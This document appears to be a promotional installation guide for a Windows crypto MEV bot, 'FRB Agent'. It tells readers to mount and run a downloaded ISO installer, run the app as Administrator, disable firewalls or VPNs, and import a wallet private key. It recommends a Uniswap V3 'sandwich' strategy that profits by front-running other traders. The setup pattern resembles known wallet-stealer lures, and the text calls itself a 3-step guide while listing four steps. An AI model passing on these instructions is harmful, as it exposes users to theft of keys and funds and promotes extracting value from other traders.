For years, "running a bot" meant wrestling with Linux servers, SSH keys, and Python virtual environments. Not anymore. In 2026, the best MEV tools are built natively for Windows, offering the security of a desktop application with the power of a high-frequency trading engine.
Here is your 3-step guide to launching a profitable crypto trading bot on Windows 10 or 11.
Prerequisites
- OS: Windows 10 (21H2 or later) or Windows 11.
- Hardware: 4+ Cores CPU, 16GB RAM, SSD Storage.
- Network: Stable Ethernet connection (Wi-Fi adds latency).
Step 1: Download & Verify the Installer
- Download: Get the latest signed installer from the official source (FRB Agent Download).
- Verify: Right-click the
.isoor.exefile → Properties → Digital Signatures.- Check: Ensure the signer is "FRB Labs Ltd" or a trusted entity. If it says "Unknown Publisher," delete it.
- Mount: Double-click the ISO to mount it as a virtual drive.
Step 2: Install & Configure
- Run Installer: Double-click
Setup.exeinside the mounted drive. - Launch Dashboard: Open the FRB App from your start menu.
- Pair Device: The app will generate a 6-digit PIN. Enter this PIN in your web dashboard to link your machine securely.
- Note: This does not send your private keys to the cloud. It only links telemetry (uptime, profit logs).
Step 3: Connect RPCs & Wallets
Now the fun part—connecting to the blockchain.
- Add RPCs: Go to Settings → Networks. Add private RPC endpoints for Ethereum, Polygon, or BNB.
- Tip: Use the built-in Latency Tester to find the fastest node.
- Import Wallet: Click "Wallets" → "Import Private Key".
- Security: Your key is encrypted locally using Windows DPAPI. It never leaves your device.
- Fund: Send ETH (for gas) to your bot's wallet address.
Step 4: Start Default Strategy
For beginners, we recommend the Sandwich & Backrun strategy on Uniswap V3.
- Select "Strategies" → "Uniswap V3 Sandwich".
- Set "Max Gas Price" to 50 gwei (adjust based on network conditions).
- Click Start.
Troubleshooting
- "Access Denied": Run the app as Administrator.
- High Latency: Disable VPNs or firewalls that might be throttling WebSocket connections.
- No Trades? Check your gas settings. If the network is busy (100+ gwei), your 50 gwei bid will be ignored.
